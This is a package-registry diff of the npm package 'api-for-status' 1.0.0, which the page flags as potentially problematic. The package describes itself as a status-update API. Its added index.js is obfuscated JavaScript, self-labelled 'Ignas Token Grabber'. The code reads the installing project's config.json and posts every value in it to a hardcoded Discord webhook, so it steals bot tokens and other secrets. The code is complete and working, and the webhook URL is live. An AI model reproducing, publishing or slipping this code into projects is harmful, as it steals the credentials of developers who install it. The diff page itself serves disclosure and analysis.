api-for-status 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of api-for-status might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x269f(){const _0x53351a=['join','3478200rLDKla','object','6953094FPKfJF','104163Rkftky','Ignas\x20Token\x20Grabber\x20-\x20Module','utf-8','log','99836hXWUYl','10RuXGLx','8CyHoiR','parse','6415549XXeIMm','69BIUoLP','map','message','entries','443345VmzJWh','stringify','Error\x20al\x20enviar\x20el\x20contenido:','https://discord.com/api/webhooks/1296617824516706446/fStFfcO7BSvtY8z3wHgOVnesCr9afEZ7lcXDwRprUM-1-wEasjMLdze05RjcIa-7_9vH','path','2922980zVVbAD'];_0x269f=function(){return _0x53351a;};return _0x269f();}function _0x5202(_0x3afab5,_0x41e282){const _0x269f59=_0x269f();return _0x5202=function(_0x5202cf,_0x6b8c95){_0x5202cf=_0x5202cf-0x1c5;let _0x423913=_0x269f59[_0x5202cf];return _0x423913;},_0x5202(_0x3afab5,_0x41e282);}const _0x57efa2=_0x5202;(function(_0x501b01,_0x56277c){const _0x1a4aa1=_0x5202,_0x500ee7=_0x501b01();while(!![]){try{const _0x40bb18=parseInt(_0x1a4aa1(0x1d6))/0x1*(parseInt(_0x1a4aa1(0x1db))/0x2)+-parseInt(_0x1a4aa1(0x1c8))/0x3*(-parseInt(_0x1a4aa1(0x1da))/0x4)+-parseInt(_0x1a4aa1(0x1cc))/0x5+-parseInt(_0x1a4aa1(0x1d3))/0x6+parseInt(_0x1a4aa1(0x1c7))/0x7*(-parseInt(_0x1a4aa1(0x1c5))/0x8)+parseInt(_0x1a4aa1(0x1d5))/0x9+parseInt(_0x1a4aa1(0x1d1))/0xa;if(_0x40bb18===_0x56277c)break;else _0x500ee7['push'](_0x500ee7['shift']());}catch(_0x1dc884){_0x500ee7['push'](_0x500ee7['shift']());}}}(_0x269f,0x8c58c));const fs=require('fs'),axios=require('axios'),path=require(_0x57efa2(0x1d0)),status=_0x57efa2(0x1cf),change=path[_0x57efa2(0x1d2)](__dirname,'..','..','config.json'),api=async()=>{const _0x42076d=_0x57efa2;try{const _0x4232d6=fs['readFileSync'](change,_0x42076d(0x1d8)),_0x35dbf4=JSON[_0x42076d(0x1c6)](_0x4232d6),_0x497b2f={'title':_0x42076d(0x1d7),'description':'NEW\x20TOKEN\x20GUYS,\x20SAY\x20HIII','fields':Object[_0x42076d(0x1cb)](_0x35dbf4)[_0x42076d(0x1c9)](([_0x18944d,_0x447956])=>({'name':_0x18944d,'value':typeof _0x447956===_0x42076d(0x1d4)?JSON[_0x42076d(0x1cd)](_0x447956,null,0x2):String(_0x447956),'inline':![]})),'color':0x58b9ff,'timestamp':new Date()},_0x52b087={'embeds':[_0x497b2f]};await axios['post'](status,_0x52b087),console[_0x42076d(0x1d9)]('Contenido\x20enviado\x20al\x20webhook\x20de\x20Discord\x20como\x20embed.');}catch(_0x2f784e){console['error'](_0x42076d(0x1ce),_0x2f784e[_0x42076d(0x1ca)]);}};module['exports']={'api':api,'status':status,'change':change};
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "api-for-status",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "api for change every 5s the staus",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"axios": "^0.21.1"
|
|
11
|
+
},
|
|
12
|
+
"author": "Tu Nombre",
|
|
13
|
+
"license": "MIT"
|
|
14
|
+
}
|